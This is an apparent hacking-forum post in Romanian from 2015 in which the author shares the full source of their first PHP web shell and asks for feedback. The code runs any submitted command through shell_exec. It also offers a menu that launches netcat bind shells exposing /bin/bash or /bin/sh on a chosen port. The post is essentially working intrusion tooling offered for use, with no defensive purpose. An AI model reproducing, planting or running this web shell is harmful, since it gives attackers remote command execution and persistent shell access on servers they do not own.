theeternalwanderer Posted July 24, 2015 Report Posted July 24, 2015 M-am plictisit de tot facut shell-uri la intamplare cand am nevoie de ele, asa ca mi-am facut unul.Este primul meu shell PHP asa ca orice feedback legat de functionalitate si optimizare sunt apreciate.Enjoy! <!-- ############################# --><!-- # TEW PHP Shell - v0.1 # --><!-- # theeternalwanderer @ 2015 # --><!-- ############################# --><html><head> <title> TEW PHP Shell - v0.1 </title> <style> body { background-color: black; } input { width : 700px; border : 3px solid white; font-family : sans-serif; } .port { width : 95px; border : 3px solid red; } button { width : 100px; border : 3px solid white; background-color: white; font-family : sans-serif; font-weight : bold; color : black; } .boom { width : 300px; background-color: red; color : white; } textarea { width : 805px; height : 70%; border : 3px solid white; font-family : sans-serif; } select { background-color: white; border : 3px solid red; font-family : sans-serif; width : 400px; } </style></head><body> <div align="center"> <p> <img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAGQAAABkCAAAAABVicqIAAAACXBIWXMAAA7DAAAOwwHHb6hkAAAGMElEQVRo3u2Za2wUVRSA5+7u7LMs2+4u3WJLC/RBihAqEUqDgJYaYnkkElRQUJCI0cQfGHykwA9JlJIQg6J/VCgvkSiQVII00hAEa0CQIogFhYXa0sd2u0vbfc3OzPUHO4+duTOdx/rDZM+f3Zk5c7977rn3nHPvYFhWspKVrPz/BKh/A5iNGIZhNEnR/wEEmG15nvx8r8+JGzEsMdjXea97IAozBwFmd3Hl9LJCt91iMjx8C8LESE/HLxc7HsCMQBwTqqofK8m1GIT6ECMCF1tO+6FeiKFwTl11sc0gpQrjvx7+vlvXzLDMeOdsiKKhnNCRUy/m6EBUb78Wlyc8xAQ/r9KIMFZ99CehAAEhhFTbS2YtjJJNlwioXO5vcatG2JY1R2ioRiKfTFDJmPjBXXUICCGxp1QNwrDwWAyqF3KfCopj/VUKahFyT6FShnfrfRpqE2KnS6E7dg1BzTLcoGgmT2mKQR3S+6qCUDXlAAF1yfW6URml+3UyIH2ifBTGuM8SUK+QHztkGfatw1C/DMq6BazuhpmQ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wtct/RTBb+cxpTp5WeGMTOp77jopcS9Ojl/Q0GYtEYum1P3VA8qBlsR9mRug/FvBjZhrknqMaz8gh7YOdR6WPWgsPUpkwJPFprlwXZp/LwIaOPFImf/C5pF03hTo5c7RDqJU3dFKoUzWjH3Wt0kdJHp+t5EBtxSUdlOi+R5UdmT/dktS6PgKNxUqn+Yy9I9rc0b7BqXwxjW/waxiyyLcLjaqOtp9tUXu0RnVsLlIbGUo331DjGXpgf61Fffwxz/1CuTF0x8tubWHuhbBySNt4mUUht2AesSn/FFXg1QZht5FKZKxPG8ToNiiHWDVaYlTzdccwBmjziZosCXBtEBhRAUkOSudbOdeS1koXUHIsCDEq8N2hsLZPgMZ5S2smOHEDAAhNmDqppKLx4J3f2i4+0Pyd0ZJfMnmct9Brd9jNZv7ujaTjyVg0Ntzf0+/vDwZHaH0fMwFmMltwuw03WzkKGafjZCJGkEQSQiwrWclKVjj5Fxfuq9sDTZoyAAAAAElFTkSuQmCC" alt="skaw2.png" /> </p> </div> <div align="center"> <!--Arbitrary command execution--> <form name="command_exec" method="POST"> <input name="cmd" type="text" class="input_field" autofocus> <button type="submit">R U N</button> </form> <textarea><?php if(isset($_POST['cmd'])) { if(strpos($_POST['cmd'],'2>') == true) { echo shell_exec($_POST['cmd']); } else { echo shell_exec($_POST['cmd'].' 2>&1'); } } ?> </textarea> </div> <!--NetCat on demand--> <div align="center"> <p><form method="POST"> <select name="shell"> <option value="nc -n -l -p "> NetCat Chat </option> <option value="nc -n -l -e /bin/bash -p "> NetCat Bash </option> <option value="nc -n -l -e /bin/sh -p "> NetCat Sh </option> <option value="nc -n -l -c '/bin/bash -i 2>&1' -p "> NetCat Bash Int </option> <option value="nc -n -l -c '/bin/sh -i 2>&1' -p "> NetCat Sh Int </option> </select> <input name="port" class="port" type="text" value="31337"> <button type="submit" class="boom"> BOOM! </button> </form></p> <?php if(isset($_POST['shell'])) { shell_exec($_POST['shell'].$_POST['port']); } ?> </div></body></html> Quote